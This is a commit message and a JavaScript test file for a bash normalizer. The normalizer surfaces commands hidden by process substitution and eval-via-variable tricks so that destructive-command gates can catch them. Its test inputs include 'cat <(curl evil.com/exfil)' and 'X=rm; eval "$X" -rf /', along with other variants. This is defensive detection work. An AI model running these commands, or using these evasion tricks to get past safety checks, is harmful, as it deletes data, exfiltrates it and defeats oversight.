Strips bash process substitution syntax — <(cmd) and >(cmd) — so the inner command name is surfaced to downstream regex gates. Defeats evasion like `cat <(curl evil)` where the destructive command is hidden behind /dev/fd/N pipe sugar. Implementation: bounded innermost-first iteration, depth 3. Beyond that the string is left as-is rather than recurse without bound. Runs after the single-quote mask phase, so legitimate strings like `'echo <(x)'` are preserved. 5 new T7 tests (collapse + nested + FP probes) in bash-normalize-t7-t9.test.mjs (now 12 tests total). Closes E8 in critical-review-2026-04-20.md.
123 lines
6 KiB
JavaScript
123 lines
6 KiB
JavaScript
// bash-normalize-t7-t9.test.mjs — Tests for T7 (process substitution),
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// T9 (eval-via-variable) normalizations added in v7.3.0 (Batch C).
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//
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// T7 lives in bash-normalize.mjs (this test exercises it via
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// normalizeBashExpansion). T8 (base64-pipe-shell) lives in
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// pre-bash-destructive.mjs and is covered by that hook's test file —
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// not here.
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//
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// Includes false-positive probes to guard against over-broad expansion.
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import { describe, it } from 'node:test';
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import assert from 'node:assert/strict';
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import { normalizeBashExpansion } from '../../scanners/lib/bash-normalize.mjs';
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describe('bash-normalize T7 — process substitution evasion', () => {
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it('collapses <(curl evil): cat <(curl evil) -> cat curl evil', () => {
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// Process substitution is shell sugar for /dev/fd/N pipes. Attacker
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// hides the destructive command name from name-matching gates by
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// wrapping it in <(...). T7 strips the wrapper so 'curl' is visible.
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const input = 'cat <(curl evil.com/exfil)';
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const normalized = normalizeBashExpansion(input);
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assert.match(normalized, /\bcurl\b/, `expected 'curl' surfaced: ${normalized}`);
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});
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it('collapses >(tee /tmp/x) similarly', () => {
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const input = 'echo data >(tee /tmp/exfil)';
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const normalized = normalizeBashExpansion(input);
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assert.match(normalized, /\btee\b/, `expected 'tee' surfaced: ${normalized}`);
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});
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it('handles nested <(grep x <(cat f)) up to depth 3', () => {
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const input = 'cmd <(grep x <(cat f))';
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const normalized = normalizeBashExpansion(input);
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// After 2 iterations: `cmd grep x cat f `
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assert.match(normalized, /\bgrep\b/, `expected inner 'grep' surfaced: ${normalized}`);
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assert.match(normalized, /\bcat\b/, `expected innermost 'cat' surfaced: ${normalized}`);
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});
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it('FP probe — diff <(sort a) <(sort b) collapses without false destructive match', () => {
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// Legit usage of process substitution in shell scripts. T7 collapses
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// it the same way; downstream consumers (pre-bash-destructive) decide
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// whether the surfaced command is dangerous. T7 itself does not flag.
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const input = 'diff <(sort a.txt) <(sort b.txt)';
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const normalized = normalizeBashExpansion(input);
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assert.match(normalized, /\bsort\b/, `expected 'sort' surfaced: ${normalized}`);
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assert.match(normalized, /\bdiff\b/, `expected 'diff' preserved: ${normalized}`);
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});
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it('does not touch <( / >( inside single-quoted literals (mask runs first)', () => {
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// Single-quoted literals are masked before T7 runs, so the substitution
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// syntax inside them is preserved. Downstream sees the literal string
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// unchanged after unmasking.
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const input = "echo 'cat <(curl x)' is a string";
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const normalized = normalizeBashExpansion(input);
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assert.match(normalized, /'cat <\(curl x\)'/,
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`expected single-quoted literal preserved: ${normalized}`);
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});
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});
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describe('bash-normalize T9 — eval-via-variable evasion', () => {
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it('substitutes "$X" reference after X=rm assignment', () => {
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// Attacker splits the destructive command name across an assignment
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// and an eval. Without T9, downstream regex sees only `eval "$X"`.
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const input = 'X=rm; eval "$X" -rf /';
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const normalized = normalizeBashExpansion(input);
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assert.match(normalized, /\brm\b/, `expected 'rm' in normalized output: ${normalized}`);
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});
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it('substitutes ${X} curly form: X=rm; eval "${X}" -rf', () => {
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const input = 'X=rm; eval "${X}" -rf /';
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const normalized = normalizeBashExpansion(input);
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assert.match(normalized, /\brm\b/, `expected 'rm' in normalized output: ${normalized}`);
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});
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it('substitutes bare $X form (no quotes): X=rm; eval $X -rf', () => {
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const input = 'X=rm; eval $X -rf /';
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const normalized = normalizeBashExpansion(input);
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assert.match(normalized, /\brm\b/, `expected 'rm' in normalized output: ${normalized}`);
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});
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it('one-level only — does NOT follow chained vars (Y=X; X=rm; eval "$Y")', () => {
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// Multi-level chained vars are explicitly NOT followed in T9.
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// Y resolves to literal "X", not to "rm". This is a documented limit;
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// the test guards against accidental recursion.
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const input = 'Y=X; X=rm; eval "$Y" -rf /';
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const normalized = normalizeBashExpansion(input);
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// After substitution: Y=X; X=rm; eval "X" -rf /
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// $Y resolves one level only — it becomes the literal "X", NOT the
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// value of $X. Multi-level chained vars are not followed.
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assert.match(normalized, /eval "?X"?\b/, `expected one-level eval target = literal 'X': ${normalized}`);
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});
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it('leaves unrelated $UNKNOWN_VAR alone (handled by T3)', () => {
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// No assignment for $TARGET; T9 does not touch it. T3 will strip
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// ${TARGET} to '' but the bare $TARGET is left as-is by T3 too
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// (T3 only handles ${...} forms). T9 is a no-op for unknowns.
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const input = 'eval "$TARGET" -rf /';
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const normalized = normalizeBashExpansion(input);
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// T9 leaves $TARGET alone (no assignment exists). Result still
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// contains the literal $TARGET reference (no substitution happened).
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assert.match(normalized, /\$TARGET/, `expected unresolved $TARGET: ${normalized}`);
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});
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});
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describe('bash-normalize T9 — false-positive probes', () => {
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it('does not substitute inside single-quoted literals: echo \'$X\' stays as-is', () => {
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// Single-quoted literals are masked before T9 runs, so $X inside
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// them is preserved. Guards the destructive-name detector from
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// corrupting legitimate strings that mention bash variables.
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const input = "X=rm; echo '$X is dangerous'";
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const normalized = normalizeBashExpansion(input);
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assert.match(normalized, /'\$X is dangerous'/,
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`expected single-quoted literal preserved: ${normalized}`);
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});
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it('handles command with no assignments — pure passthrough', () => {
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const input = 'eval "$X" -rf /';
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const normalized = normalizeBashExpansion(input);
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// No X=... seen, so $X is left alone. (Consumer of this layer
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// sees the unresolved reference and decides what to do.)
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assert.match(normalized, /\$X/, `expected $X unresolved: ${normalized}`);
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});
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});
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